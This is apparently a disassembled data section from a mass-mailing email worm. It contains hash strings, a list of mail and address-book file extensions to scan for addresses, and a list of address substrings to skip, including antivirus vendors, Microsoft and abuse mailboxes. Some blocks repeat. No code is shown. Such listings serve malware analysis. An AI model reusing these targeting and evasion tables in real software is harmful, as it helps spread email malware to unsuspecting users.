		dd offset a4981ceb970143d ; "4981CEB970143D3001C63B41F0CAFAE2=547314"...
		dd offset a4d063a7474e003 ; "4D063A7474E00350764F9446DA93BA40=D8E072"...
		dd offset a4d5ff87440e058 ; "4D5FF87440E05875B4534DE2BC165E0B=C39240"...
		dd offset a4f51da3ee07926 ; "4F51DA3EE079260F9CA0978DB757A7AD=5410E6"...
		dd offset a50a8ad9acfa5dd ; "50A8AD9ACFA5DDC36C1B19E7EE7619A9=C3D0D0"...
		dd offset a51811d31ead20d ; "51811D31EAD20DF719086D163F45E36A=5074A3"...
		dd offset a5228aa8a67447f ; "5228AA8A67447FCD922010E6231E4BD9=545E5C"...
		dd offset a524185a0bcfffb ; "524185A0BCFFFBA8F297CF9FF7073C59=9A2542"...
		dd offset a52a7652ac5427b ; "52A7652AC5427B8092E3F1E672A61AD5=52540C"...
		dd offset a5788f90b56e320 ; "5788F90B56E3202D6B6C6ADEEB75F1A1=3DE4C9"...
		dd offset a57c3d60dc7674a ; "57C3D60DC7674ACC77CFF277CC1784BE=503E95"...
		dd offset a58465a764eb26e ; "58465A764EB26E70F82AE3BB5B7004C2=52F1D1"...
		dd offset a58913b1fe16517 ; "58913B1FE16517356C80CA4BD9728F6E=9A2542"...
		dd offset a58c37ea9ed4e70 ; "58C37EA9ED4E7025E76D260D51080C77=9A2542"...
		dd offset a58edc526369c14 ; "58EDC526369C14605039C4FDB1ACEA4E=50667F"...
		dd offset a58f05b7353aa71 ; "58F05B7353AA71A4A6442D15A592A2DB=51F44E"...
		dd offset a5b37a4c6614b3f ; "5B37A4C6614B3F5ECD969FC1B9AE0622=557625"...
		dd offset a6038fb7e83fb6d ; "6038FB7E83FB6D395E83C78F687BDC9D=53B84F"...
		dd offset a6074c0a6abf7a3 ; "6074C0A6ABF7A34A1E1B50030A56BEDA=4B1C8E"...
		dd offset a6119b4f5fca150 ; "6119B4F5FCA150DA2A636BAC90DC3DBF=9A2542"...
		dd offset a611b7be28d9a38 ; "611B7BE28D9A383D04DDBB12A5D482FB=570AA7"...
		dd offset a6130cfc2a82ab3 ; "6130CFC2A82AB3D56C24306006E77720=525CFD"...
		dd offset a61623dc1090472 ; "61623DC1090472D0ECA0AC62D1405B99=53A0E5"...
		dd offset a6166394ce35d21 ; "6166394CE35D21701FEAF6B92767FD6D=52F1D1"...
		dd offset a616b6887265d41 ; "616B6887265D412C1511E733587A5148=9A2542"...
		dd offset a616b68875103c0 ; "616B68875103C0BB211F065C2C76D4B9=9A2542"...
		dd offset a616de994002cce ; "616DE994002CCE6654D8120675B7F135=CFE270"...
		dd offset a616de9948c33ff ; "616DE9948C33FF45A26C1BDA6DB394C6=D8979B"...
		dd offset a6193dcd4247dca ; "6193DCD4247DCA4A3FEC72AB53558D9D=531600"...
		dd offset a61a1c3284bdf59 ; "61A1C3284BDF59B8E767EEB2090F113D=3AE78E"...
		dd offset a61a365b29fc73b ; "61A365B29FC73BDF0798840C0A01FF02=97254F"...
		dd offset a61a7c879595247 ; "61A7C879595247BB92E60F15B13F1EDB=DE65F1"...
		dd offset a61b6799601ad51 ; "61B6799601AD511A93D962666E49511F=5955FC"...
		dd offset a61be06c5b48f75 ; "61BE06C5B48F750D5C5FF31021E42A59=7DB121"...
		dd offset a61c49a07211dfd ; "61C49A07211DFDD31D4E3CDEE86BAE70=D3337A"...
		dd offset a61cbe5c404f4c7 ; "61CBE5C404F4C715C809A8588F42950C=9A2542"...
		dd offset a61cbe5c49fd188 ; "61CBE5C49FD188AEC78FF2C5C50E4982=9A2542"...
		dd offset a61cbe5c4cb3d73 ; "61CBE5C4CB3D735B77590054E92865F3=9A2542"...
		dd offset a61cbe5c4fcb0fb ; "61CBE5C4FCB0FB56417722AE12BC6BC8=9A2542"...
		dd offset a61da95e1b19795 ; "61DA95E1B197957B5C6BD7BBC10DC2C5=5109CC"...
		dd offset a61df8e778ada83 ; "61DF8E778ADA832BF835C4B3BF05226E=3EE9C5"...
		dd offset a61eb7bf1115af0 ; "61EB7BF1115AF08F83610411F84BAC32=529C22"...
		dd offset a61f35d2d48449d ; "61F35D2D48449D16CB3F5A1475988C0D=53B448"...
		dd offset a6229101585a916 ; "6229101585A916B2E13D9C990295A397=5449CE"...
		dd offset a6255a178d86d87 ; "6255A178D86D87284663C7880DC29670=52E7DF"...
		dd offset a6277c1df42eccb ; "6277C1DF42ECCBD53F0B6A93BD28873D=3E95E3"...
		dd offset a62a22626d206cd ; "62A22626D206CD44AC7DA259EE71D3DB=9A2542"...
		dd offset a62da882d61ca31 ; "62DA882D61CA310985742F59FB23354F=53C7D7"...
		dd offset a63ad246f6a0ed5 ; "63AD246F6A0ED5187909B549B0459915=5AC54A"...
		dd offset a6448040809cd5b ; "6448040809CD5B93F0BDDB5EECEF1489=440D12"...
		dd offset a644b518b6c3ac1 ; "644B518B6C3AC1085C13DDDE58D06F5E=50ABBB"...
		dd offset a6487cb6afaee5a ; "6487CB6AFAEE5AABAAC7527C50D18438=532D78"...
		dd offset a65c27c9e69b21c ; "65C27C9E69B21CFEF5B09FD1E180164A=959C82"...
		dd offset a65f88249945b36 ; "65F88249945B36F17456F87207B3354E=51ADA4"...
		dd offset a6670e7b1f5aea4 ; "6670E7B1F5AEA450D22F1E2AA8BC8AF3=5A1B21"...
		dd offset a669cdd5f3af592 ; "669CDD5F3AF59240D79D60C6B3FE9754=DAA975"...
		dd offset a670352b3d6d626 ; "670352B3D6D626C8FB2808BDEDD63197=C20F93"...
		dd offset a670b45d947add6 ; "670B45D947ADD6FC97CC8AEDE0DECFEF=5486AE"...
		dd offset a675994dd899efd ; "675994DD899EFD36FE03C9267407C944=57B892"...
		dd offset a67bb344b23f292 ; "67BB344B23F292E08C2D7AE045D1A37E=55D8E4"...
		dd offset a68ac92fdda9949 ; "68AC92FDDA9949A1D04EA948C7E2BAE8=5695A2"...
		dd offset a6a77b0571e8453 ; "6A77B0571E845354B459485456CE1C80=1817E9"...
		dd offset a6a96ed026488b0 ; "6A96ED026488B02FB83DC3A495337BED=54CD02"...
		dd offset a6afdb0c101555c ; "6AFDB0C101555CD2A05855A3CB7DFD67=42611D"...
		dd offset a6b5da93809dc61 ; "6B5DA93809DC615F73BCC044148BFA0D=5461D0"...
		dd offset a6cef093aaadd51 ; "6CEF093AAADD5162660E0A3EF24AB0DA=5313A5"...
		dd offset a6d01af996de68b ; "6D01AF996DE68B99E93D66AD02330494=3EEA33"...
		dd offset a6e9c82b0f46e1f ; "6E9C82B0F46E1FDE9C1F52B503693AED=416416"...
		dd offset a6ecd3b7d9e8f8b ; "6ECD3B7D9E8F8B067A0000DB5AA95AC6=C1EE6D"...
		dd offset a701d9df6104353 ; "701D9DF61043539B0DC6A0738694C97F=4CA942"...
		dd offset a714a0e07bc71c5 ; "714A0E07BC71C5A4E5320D6707CC7AA9=7D19CB"...
		dd offset a71bfe91aa80973 ; "71BFE91AA8097381A4C18AC48C3EB793=5125FD"...
		dd offset a71cc7aa04be674 ; "71CC7AA04BE67418F10BFBE4ADB1BACF=57054C"...
		dd offset a72e9ee54ae2d7a ; "72E9EE54AE2D7AE4A3A459C1E0AC3A6B=7D831D"...
		dd offset a73860b10104260 ; "73860B10104260C684FC4B5EAF57DC7F=8002DF"...
		dd offset a743bdfffa701b0 ; "743BDFFFA701B05B63A580FE836422BB=53A58D"...
		dd offset a749bac5681fbd9 ; "749BAC5681FBD9FFDE4E55455EB19347=5461DF"...
		dd offset a764628faded520 ; "764628FADED52018202266AE46628EF3=58BF1C"...
		dd offset a76a924aaa9aa96 ; "76A924AAA9AA9635A131F96C2282CBE2=51CA2F"...
		dd offset a77fe64dbe32a4a ; "77FE64DBE32A4A191F20418E5A58C63E=3E017A"...
		dd offset a7997f7da9bcad9 ; "7997F7DA9BCAD904EE9E3A8C9145D25F=54DF0C"...
		dd offset a79c42e4083049a ; "79C42E4083049ABC1C5A74D60EF8786F=40E54B"...
		dd offset a7a8c61ed143af6 ; "7A8C61ED143AF668972901FDED24595C=42AC3C"...
		dd offset a7a8c61ed211c35 ; "7A8C61ED211C35FDDD46E4ABDC6957FE=9A2542"...
		dd offset a7a8c61ed8a035d ; "7A8C61ED8A035D29AB2894D7ECC2EC9D=9A2542"...
		dd offset a7a8c61ed8b6a6d ; "7A8C61ED8B6A6DB0714283D1232C04D0=CFD41A"...
		dd offset a7ac175f123506d ; "7AC175F123506D5B3088EAB200DBE815=DC4EB1"...
		dd offset a7aced55252b211 ; "7ACED55252B2112BE6E0FEA80EF10183=48E889"...
		dd offset a7bd571d08d7846 ; "7BD571D08D784662E96F7BAE7F7F17B3=5439B5"...
		dd offset a7c1de1032ec72e ; "7C1DE1032EC72ED20DDC1DBE62CDB5F5=CFD41A"...
		dd offset a7c1e3b45674301 ; "7C1E3B4567430161CAFC1912FFF73AFD=D1DE36"...
		dd offset a7c96071c0402ec ; "7C96071C0402ECC40DD0AD08913CF140=55F9E1"...
		dd offset a7d161a0ea7198c ; "7D161A0EA7198C0D689767A76297B9AB=52F59D"...
		dd offset a7d39485c9216f0 ; "7D39485C9216F0246F4A32031F8FA521=9A2542"...
		dd offset a7d4f37d1bdbbaf ; "7D4F37D1BDBBAF7DC0E1F1D4A8A8607D=18B926"...
		dd offset a7e054ddd830240 ; "7E054DDD830240071DCE4EC2785439CF=9A2542"...
		dd offset a7e054ddd886745 ; "7E054DDD886745A6451AB40B47BD0D77=9A2542"...
		dd offset a7eab03cdaa54c3 ; "7EAB03CDAA54C3A230F0A41AB4E58A5D=54791E"...
		dd offset a7ed9a363bd1352 ; "7ED9A363BD13528121EA0114C8165CA8=CA475D"...
		dd offset a7ee8f4e5034654 ; "7EE8F4E503465493CDAF0BE0D602074C=7C964B"...
		dd offset a7f0f970984cd3b ; "7F0F970984CD3BC599F6C652ABD32C60=570166"...
		dd offset a7f1439ccfddc5a ; "7F1439CCFDDC5A3F60C4B2436F83F05C=57A7BE"...
		dd offset a7f212ceb33954f ; "7F212CEB33954F743DA5D0191122B0B4=9A2542"...
		dd offset a7f7f20b452ab34 ; "7F7F20B452AB34CC96F555A97FF755DC=D8979B"...
		dd offset a7faaf26bff7ad4 ; "7FAAF26BFF7AD4116969C15D9206DE6C=D3C9B4"...
		dd offset a7faea639d8ff81 ; "7FAEA639D8FF81C851368B0B7681E0D5=557621"...
		dd offset a800ac0a424daac ; "800AC0A424DAAC3BD40ED7182F740BA7=58BF14"...
		dd offset a8024083af066b9 ; "8024083AF066B98A86BF0B0BF1135EF7=551988"...
		dd offset a80a32744a44a33 ; "80A32744A44A3359F3F4B39D19E8E32B=53258C"...
		dd offset a80dc4ed17010eb ; "80DC4ED17010EB949C6D67A22BD5337B=51381C"...
		dd offset a80e027a3a3f469 ; "80E027A3A3F469BBC35770626C58A763=528FED"...
		dd offset a81087f696a182a ; "81087F696A182A12B2BE026E32BDCCFD=523B4D"...
		dd offset a8118b0cce7a714 ; "8118B0CCE7A714CA48C3D96C4C907027=C12290"...
		dd offset a82b095829d2b64 ; "82B095829D2B649698A8FD849D1585BB=83720D"...
		dd offset a8405a510dc81e5 ; "8405A510DC81E57198EC023D0574413B=51CC81"...
		dd offset a848ae2bcc4c0fb ; "848AE2BCC4C0FB8C03F88F311A674D14=C2E7BD"...
		dd offset a8498a5bf236586 ; "8498A5BF2365869842CCA5F36C9C718D=3E7971"...
		dd offset a869350dca00dc7 ; "869350DCA00DC705B5578B11C8B9D623=58019C"...
		dd offset a86c635d5bca725 ; "86C635D5BCA725E86B0202923FA44A17=D42A5B"...
		dd offset a87c51c51b862f2 ; "87C51C51B862F2063265D4E062D7B5D5=3E2D04"...
		dd offset a8a859746290b3b ; "8A859746290B3BD8B7C8FF4C97DF994A=52E795"...
		dd offset a8ba1fe0328ee13 ; "8BA1FE0328EE13E0160F957077230834=57EA90"...
		dd offset a8ec2feebb26816 ; "8EC2FEEBB26816C7F65273A0DE8557C2=5084E2"...
		dd offset a8f810df4de0d27 ; "8F810DF4DE0D2717F459C6A57ADA735B=55EA25"...
		dd offset a912f5c9fa5ad21 ; "912F5C9FA5AD218F9873336FF98F5EAA=9A2542"...
		dd offset a989b9796115263 ; "989B97961152633B8D9EAD9BA943C74A=CFD26A"...
		dd offset a99a9ec9ae01525 ; "99A9EC9AE015254171284F084DC1DAB5=C36F02"...
		dd offset a9b7d53ad0d64f9 ; "9B7D53AD0D64F95BF7FDF3546A218AF3=C2E2C0"...
		dd offset a9bb8cf766d9cc7 ; "9BB8CF766D9CC708910FCCD1D96540B8=425A4F"...
		dd offset aA25314c38ca23e ; "A25314C38CA23E425A987E58D81C33B8=3E83F2"...
		dd offset aA541421b64195e ; "A541421B64195ED166C67A5880B05A1D=9A2542"...
		dd offset aA637e705b3db17 ; "A637E705B3DB170D229938B56F2D653D=865F80"...
		dd offset aA881fb2abbde65 ; "A881FB2ABBDE65AE27EA89A942BBF7FC=DCF07B"...
		dd offset aA8b1f19854237e ; "A8B1F19854237E43E2F0F970C257E589=CFD41A"...
		dd offset aA96f9c44b267be ; "A96F9C44B267BE0637B7704B955897F9=7CF07E"...
		dd offset aAba112b2273d4e ; "ABA112B2273D4E120EB1B4D52B6C8D6D=543AB1"...
		dd offset aAcc95c4dd02646 ; "ACC95C4DD026468296F67767F1B4F340=53DE0E"...
		dd offset aAf8bc74e760330 ; "AF8BC74E760330C37AC14F9617061260=442A96"...
		dd offset aB135eed1e9d187 ; "B135EED1E9D187207E55AF224882AF01=D5FB84"...
		dd offset aB42b1baeba4577 ; "B42B1BAEBA45778F36503B2A9C2F6115=51AE0C"...
		dd offset aB611ab4ec23f70 ; "B611AB4EC23F7057E1725F29C9DEF423=C828B6"...
		dd offset aB748dcbafe8a12 ; "B748DCBAFE8A126652C4FC1E074F9FA4=18E87F"...
		dd offset aB8a703c8c86027 ; "B8A703C8C86027F4D2E817C52D2369CB=52E1C2"...
		dd offset aBca6c406e11bf6 ; "BCA6C406E11BF6FE8F8D72527380FCCD=540956"...
		dd offset aC064ff7ef92cef ; "C064FF7EF92CEF035B87971C204A5609=451ABF"...
		dd offset aC0fc7f035ae9b8 ; "C0FC7F035AE9B858D1F606D0941E4D70=557625"...
		dd offset aC35201fc07b335 ; "C35201FC07B335F9B39A6A0728F7B901=5410EA"...
		dd offset aC3d0e5e02624fa ; "C3D0E5E02624FAF838E8588B0AC45EE5=3E10E9"...
		dd offset aC4f524b53fcd38 ; "C4F524B53FCD381559DD41A5664FBDD0=5313AC"...
		dd offset aC5819fe95ffb46 ; "C5819FE95FFB46C9CA1800AA4E35F463=515875"...
		dd offset aC5cbaebc1c824d ; "C5CBAEBC1C824DE1E50360E9534557E2=8D1E7B"...
		dd offset aC5ea4fbb304662 ; "C5EA4FBB30466219CB2AD209F824DB49=529FF7"...
		dd offset aC628680846880e ; "C628680846880E5461FC21E9F312DC5F=C1C624"...
		dd offset aD1d63c21d16b78 ; "D1D63C21D16B788A11968552F6B91CA5=DB078A"...
		dd offset aD43c3e7b2c52e4 ; "D43C3E7B2C52E41014DFA8BC662A4B8D=185B0D"...
		dd offset aD467669620891f ; "D467669620891F5A66FB3CEE27809A49=9A2542"...
		dd offset aD4b82f18dd5cbd ; "D4B82F18DD5CBDAAA59F5FC49261BD02=9A2542"...
		dd offset aD54fc3b6e05953 ; "D54FC3B6E05953669E501C429BDE1F6F=9A2542"...
		dd offset aD66704abef6a50 ; "D66704ABEF6A500D397E855BC2C2574D=51FB82"...
		dd offset aD6934d7f3db32f ; "D6934D7F3DB32F5581D15797CDFEE3FB=557E8C"...
		dd offset aD6c0099f2169f3 ; "D6C0099F2169F32CE55ED21924FE6057=5283D9"...
		dd offset aD6e46bf02e64d9 ; "D6E46BF02E64D940E37EECCC982584A8=C95238"...
		dd offset aD9d364a2c8a83e ; "D9D364A2C8A83E4D597980AB19EE4143=509242"...
		dd offset aDbeca12575d940 ; "DBECA12575D94025189E76F00A531A48=5361B5"...
		dd offset aDc6f745290beba ; "DC6F745290BEBAA748D3F00DB4F22FCF=557629"...
		dd offset aDebf8cd5eadb78 ; "DEBF8CD5EADB7851B6B7248D42539089=5243A8"...
		dd offset aDfa8a5fd169cb0 ; "DFA8A5FD169CB024698812DFC82D0BC3=5237DC"...
		dd offset aE158e029ac911a ; "E158E029AC911A8DE5B5881D10945BBF=5410EF"...
		dd offset aE556b979239296 ; "E556B97923929644771748B42FD26392=554CFC"...
		dd offset aE7c3aa73cd0a25 ; "E7C3AA73CD0A254E96E34049FBEFA8B1=43AAD6"...
		dd offset aE9fa780a2994eb ; "E9FA780A2994EB62416C8129B9F9EC6F=570ACA"...
		dd offset aEa5a9e8a505184 ; "EA5A9E8A505184B578217ECE5936544B=9729CA"...
		dd offset aEafb6e5161b90f ; "EAFB6E5161B90F231562FCDAAF91BBFB=51CB92"...
		dd offset aEc2a6b3f7394f2 ; "EC2A6B3F7394F206EFBAF7D81A939E8A=9A2542"...
		dd offset aEc2a6b3fb6dd91 ; "EC2A6B3FB6DD91ACA9F6AF5ACA529BD2=9A2542"...
		dd offset aEc7668f77fb7b2 ; "EC7668F77FB7B21921A0EA296001E8A9=55D628"...
		dd offset aEc9655ad1633bc ; "EC9655AD1633BCF292DEA3C8AA0424AB=9A2542"...
		dd offset aEcc7022cdfea11 ; "ECC7022CDFEA11C6FB0F3849B8B89EFA=D9083D"...
		dd offset aEce5265115f6ed ; "ECE5265115F6ED93B18CBDCFB8D6726A=D9A0D0"...
		dd offset aEdcc5d8c0a6119 ; "EDCC5D8C0A61192AF490034A3FEE6CC5=47859A"...
		dd offset aEfc52cb260c525 ; "EFC52CB260C525686B94C69A7AEFE8D9=D57014"...
		dd offset aF0222ed187b89a ; "F0222ED187B89A45427F9A8312B646CE=477200"...
		dd offset aF3032da7f7c1e9 ; "F3032DA7F7C1E94A4FE9D59838C67D40=51F81A"...
		dd offset aF4842dae3b27f1 ; "F4842DAE3B27F129678E1847263CAB26=54506D"...
		dd offset aF63c699d886487 ; "F63C699D886487A8950E570D294EDFE1=9A2542"...
		dd offset aF63edccbdcaf1a ; "F63EDCCBDCAF1A1E79DEC78C8666B552=58BF0F"...
		dd offset aFd6a5500dc3ed6 ; "FD6A5500DC3ED6A4E8398E3580A974FA=482492"...
		dd offset aFdd38b10a85983 ; "FDD38B10A859838455DF59392B3C3F71=513987"...
		dd offset aFf9b63e22ab088 ; "FF9B63E22AB088EE458F1586A34CFA06=5102D1"...
		align 4
		db    0
		align 2
		dd offset aBadAllocation ; "bad	allocation"
		align 4
		db    0
		align 2
		dd offset a_wab		; ".wab"
		dd offset a_txt		; ".txt"
		dd offset a_msg		; ".msg"
		dd offset a_htm		; ".htm"
		dd offset a_shtm	; ".shtm"
		dd offset a_stm		; ".stm"
		dd offset a_xml		; ".xml"
		dd offset a_dbx		; ".dbx"
		dd offset a_mbx		; ".mbx"
		dd offset a_mdx		; ".mdx"
		dd offset a_eml		; ".eml"
		dd offset a_nch		; ".nch"
		dd offset a_mmf		; ".mmf"
		dd offset a_ods		; ".ods"
		dd offset a_cfg		; ".cfg"
		dd offset a_asp		; ".asp"
		dd offset a_php		; ".php"
		dd offset a_pl		; ".pl"
		dd offset a_wsh		; ".wsh"
		dd offset a_adb		; ".adb"
		dd offset a_tbb		; ".tbb"
		dd offset a_sht		; ".sht"
		dd offset a_xls		; ".xls"
		dd offset a_oft		; ".oft"
		dd offset a_uin		; ".uin"
		dd offset a_cgi		; ".cgi"
		dd offset a_mht		; ".mht"
		dd offset a_dhtm	; ".dhtm"
		dd offset a_jsp		; ".jsp"
		dd offset a_dat		; ".dat"
		dd offset a_lst		; ".lst"
		align 4
		db    0
		align 2
		dd offset a@microsoft	; "@microsoft"
		dd offset aRating@	; "rating@"
		dd offset aFSecur	; "f-secur"
		dd offset aNews		; "news"
		dd offset aUpdate	; "update"
		dd offset aAnyone@	; "anyone@"
		dd offset aBugs@	; "bugs@"
		dd offset aContract@	; "contract@"
		dd offset aFeste	; "feste"
		dd offset aGoldCerts@	; "gold-certs@"
		dd offset aHelp@	; "help@"
		dd offset aInfo@	; "info@"
		dd offset aNobody@	; "nobody@"
		dd offset aNoone@	; "noone@"
		dd offset aKasp		; "kasp"
		dd offset aAdmin	; "admin"
		dd offset aIcrosoft	; "icrosoft"
		dd offset aSupport	; "support"
		dd offset aNtivi	; "ntivi"
		dd offset aUnix		; "unix"
		dd offset aBsd		; "bsd"
		dd offset aLinux	; "linux"
		dd offset aListserv	; "listserv"
		dd offset aCertific	; "certific"
		dd offset aSopho	; "sopho"
		dd offset a@foo		; "@foo"
		dd offset a@iana	; "@iana"
		dd offset aFreeAv	; "free-av"
		dd offset a@messagelab	; "@messagelab"
		dd offset aWinzip	; "winzip"
		dd offset aGoogle	; "google"
		dd offset aWinrar	; "winrar"
		dd offset aSamples	; "samples"
		dd offset aAbuse	; "abuse"
		dd offset aPanda	; "panda"
		dd offset aCafee	; "cafee"
		dd offset aSpam		; "spam"
		dd offset aPgp		; "pgp"
		dd offset a@avp_	; "@avp."
		dd offset aNoreply	; "noreply"
		dd offset aLocal	; "local"
		dd offset aRoot@	; "root@"
		dd offset aPostmaster@	; "postmaster@"
		align 4
		db    0
		align 2
		dd offset aBadAllocation ; "bad	allocation"
		align 4
		db    0
		align 2
		dd offset aBadAllocation ; "bad	allocation"
		align 4
		db    0
		align 2
		dd offset a_wab		; ".wab"
		dd offset a_txt		; ".txt"
		dd offset a_msg		; ".msg"
		dd offset a_htm		; ".htm"
		dd offset a_shtm	; ".shtm"
		dd offset a_stm		; ".stm"
		dd offset a_xml		; ".xml"
		dd offset a_dbx		; ".dbx"
		dd offset a_mbx		; ".mbx"
		dd offset a_mdx		; ".mdx"
		dd offset a_eml		; ".eml"
		dd offset a_nch		; ".nch"
		dd offset a_mmf		; ".mmf"
		dd offset a_ods		; ".ods"
		dd offset a_cfg		; ".cfg"
		dd offset a_asp		; ".asp"
		dd offset a_php		; ".php"
		dd offset a_pl		; ".pl"
		dd offset a_wsh		; ".wsh"
		dd offset a_adb		; ".adb"
		dd offset a_tbb		; ".tbb"
		dd offset a_sht		; ".sht"
		dd offset a_xls		; ".xls"
		dd offset a_oft		; ".oft"
		dd offset a_uin		; ".uin"
		dd offset a_cgi		; ".cgi"
		dd offset a_mht		; ".mht"
		dd offset a_dhtm	; ".dhtm"
		dd offset a_jsp		; ".jsp"
		dd offset a_dat		; ".dat"
		dd offset a_lst		; ".lst"
		align 4
		db    0
		align 2
		dd offset a@microsoft	; "@microsoft"
		dd offset aRating@	; "rating@"
		dd offset aFSecur	; "f-secur"
		dd offset aNews		; "news"
		dd offset aUpdate	; "update"
		dd offset aAnyone@	; "anyone@"
		dd offset aBugs@	; "bugs@"
		dd offset aContract@	; "contract@"
		dd offset aFeste	; "feste"
		dd offset aGoldCerts@	; "gold-certs@"
		dd offset aHelp@	; "help@"
		dd offset aInfo@	; "info@"
		dd offset aNobody@	; "nobody@"
		dd offset aNoone@	; "noone@"
		dd offset aKasp		; "kasp"
		dd offset aAdmin	; "admin"
		dd offset aIcrosoft	; "icrosoft"
		dd offset aSupport	; "support"
		dd offset aNtivi	; "ntivi"
		dd offset aUnix		; "unix"
		dd offset aBsd		; "bsd"
		dd offset aLinux	; "linux"
		dd offset aListserv	; "listserv"
		dd offset aCertific	; "certific"
		dd offset aSopho	; "sopho"
		dd offset a@foo		; "@foo"
		dd offset a@iana	; "@iana"
		dd offset aFreeAv	; "free-av"
		dd offset a@messagelab	; "@messagelab"
		dd offset aWinzip	; "winzip"
		dd offset aGoogle	; "google"
		dd offset aWinrar	; "winrar"
		dd offset aSamples	; "samples"
		dd offset aAbuse	; "abuse"
		dd offset aPanda	; "panda"
		dd offset aCafee	; "cafee"
		dd offset aSpam		; "spam"
		dd offset aPgp		; "pgp"
		dd offset a@avp_	; "@avp."
		dd offset aNoreply	; "noreply"
		dd offset aLocal	; "local"
		dd offset aRoot@	; "root@"
		dd offset aPostmaster@	; "postmaster@"
		align 4
		db    0
		align 2
		dw 45h
		db    0
a0a@		db '0@',0
		dw 6DEh
		db 0C7h	; 
		db 0B9h, 0C0h, 0A8h
		db  33h	; 3
		db 3, 0C0h, 0A8h
		db  33h	; 3
		db 7, 0Fh, 0C5h
		db    0
aQGj		db 'Qȃ',0
		align 4
		db    0
		align 2
		dw 270h
		db 0FCh	; 
		align 2
		dw 5E4Ch
		db    0
		align 2
		dw 402h
		db    5
		db 0B4h, 2 dup(1)
		db    4
		db 2, 45h, 0
		db    0
		db 3Ch,	0DAh, 0D3h
		db    0
		align 2
		dw 1DEh
		db  1Ah
		db 92h,	0C0h, 0A8h
		db  33h	; 3
		db 3, 0C0h, 0A8h
		db  33h	; 3
		db 7, 8, 0
		db  46h	; F
		db 5Ch,	2, 0
		db    5
		align 2
aAbcdefghijklmn	db 'abcdefghijklmnopqr',0
		align 2
		dd offset aBadAllocation ; "bad	allocation"
		align 4
		dd 81F80000h, 41h, 0BB9C0000h, 0BB940041h, 0BB8C0041h
		dd 0BB840041h, 0BB7C0041h, 0BB740041h, 0BB6C0041h, 0BB640041h
		dd 0BB5C0041h, 0BB540041h, 0BB4C0041h, 0BB440041h, 0BB3C0041h
		dd 0BB340041h, 0BB2C0041h, 0BB240041h, 0BB1C0041h, 0BB180041h
		dd 0BB100041h, 0BB080041h, 0BB000041h, 0BAF80041h, 0BAF00041h
		dd 0BAE80041h, 0BAE00041h, 0BAD80041h, 0BAD00041h, 0BAC80041h
		dd 0BAC00041h, 0BAB80041h, 0BAB00041h, 41h, 0BAA40000h
		dd 0BA9C0041h, 0BA940041h, 0BA8C0041h, 0BA840041h, 0BA7C0041h
		dd 0BA740041h, 0BA680041h, 0BA600041h, 0BA540041h, 0BA4C0041h
		dd 0BA440041h, 0BA3C0041h, 0BA340041h, 0BA2C0041h, 0BA240041h
		dd 0BA180041h, 0BA100041h, 0BA080041h, 0BA000041h, 0B9FC0041h
		dd 0B9F40041h, 0B9E80041h, 0B9DC0041h, 0B9D40041h, 0B9CC0041h
		dd 0B9C40041h, 0B9BC0041h, 0B9B00041h, 0B9A80041h, 0B9A00041h
		dd 0B9980041h, 0B9900041h, 0B9880041h, 0B9800041h, 0B9780041h
		dd 0B9700041h, 0B96C0041h, 0B9640041h
dword_421AC8	dd 0B95C0041h, 0B9540041h, 0B94C0041h, 0B9400041h, 41h
					; DATA XREF: sub_4065D1+79o
		dd 1ABD0000h
dword_421AE0	dd 2D1619EFh		; DATA XREF: sub_408AF9r
					; sub_408AF9+10o
		dd 81F8025Fh, 2	dup(81F80041h),	41h, 0BB9C0000h, 0BB940041h
		dd 0BB8C0041h, 0BB840041h, 0BB7C0041h, 0BB740041h, 0BB6C0041h
		dd 0BB640041h, 0BB5C0041h, 0BB540041h, 0BB4C0041h, 0BB440041h
		dd 0BB3C0041h, 0BB340041h, 0BB2C0041h, 0BB240041h, 0BB1C0041h
		dd 0BB180041h, 0BB100041h, 0BB080041h, 0BB000041h, 0BAF80041h
		dd 0BAF00041h, 0BAE80041h, 0BAE00041h, 0BAD80041h, 0BAD00041h
dword_421B60	dd 0BAC80041h		; DATA XREF: sub_408707r sub_408707+Ao
		dd 0BAC00041h, 0BAB80041h, 0BAB00041h, 41h, 0BAA40000h
		dd 0BA9C0041h, 0BA940041h, 0BA8C0041h, 0BA840041h, 0BA7C0041h
		dd 0BA740041h, 0BA680041h, 0BA600041h, 0BA540041h, 0BA4C0041h
		dd 0BA440041h, 0BA3C0041h, 0BA340041h, 0BA2C0041h, 0BA240041h
		dd 0BA180041h, 0BA100041h, 0BA080041h, 0BA000041h, 0B9FC0041h
		dd 0B9F40041h, 0B9E80041h, 0B9DC0041h, 0B9D40041h, 0B9CC0041h
		dd 0B9C40041h, 0B9BC0041h, 0B9B00041h, 0B9A80041h, 0B9A00041h
		dd 0B9980041h, 0B9900041h, 0B9880041h, 0B9800041h, 0B9780041h
		dd 0B9700041h, 0B96C0041h, 0B9640041h, 0B95C0041h, 0B9540041h
		dd 0B94C0041h, 0B9400041h, 41h,	81F80000h, 6 dup(81F80041h)
		dd 0A0041h
dword_421C44	dd 81F80000h, 4	dup(81F80041h) ; DATA XREF: sub_412850+31o
dword_421C58	dd 0F8E80041h, 0F7980041h, 1010041h, 11E0000h, 0F0000h
					; DATA XREF: sub_412850+3Bo
dword_421C6C	dd 0FD680000h, 0F8200041h, 41h,	1E0000h, 0F0000h ; DATA	XREF: sub_412850+4Bo
word_421C80	dw 0			; DATA XREF: sub_413683+54r
		align 4
		dd 0F8980000h, 41h, 130000h, 70000h, 0
		dd 30001h
byte_421C9C	db 7			; DATA XREF: sub_4141CB+41r
		align 2
		dw 0Fh
		dd 3F001Fh, 0FF007Fh
byte_421CA8	db 0FFh, 1, 0FFh	; DATA XREF: sub_413C3B+38o
byte_421CAB	db 3			; DATA XREF: sub_413B0A+6o
		dd 0FFF07FFh, 1000000h,	1F0F0703h, 0FF7F3Fh, 49470000h
		dd 61373846h
dword_421CC4	dd 81F80000h, 4	dup(81F80041h) ; DATA XREF: .text:00417593o
					; sub_41759A+2o
dword_421CD8	dd 5200041h, 1993h, 2 dup(0) ; DATA XREF: sub_4032C9+5o
		dd 0E64E0000h
dword_421CEC	dd 0BB40h		; DATA XREF: sub_403624+6w
					; sub_403632+6r ...
dword_421CF0	dd 4 dup(0)		; DATA XREF: sub_405EFE+9o
dword_421D00	dd 0			; DATA XREF: sub_405EFEr
					; sub_405EFE+10w
dword_421D04	dd 3 dup(0)		; DATA XREF: sub_406E37+CFo
					; sub_408056+22o ...
dword_421D10	dd 0			; DATA XREF: sub_40CF2A+4w sub_40CF34r ...
		align 8
dword_421D18	dd 0			; DATA XREF: sub_40CFE7+42w
					; sub_40CFE7+C8o
dword_421D1C	dd 0			; DATA XREF: sub_40CFE7+4Bw
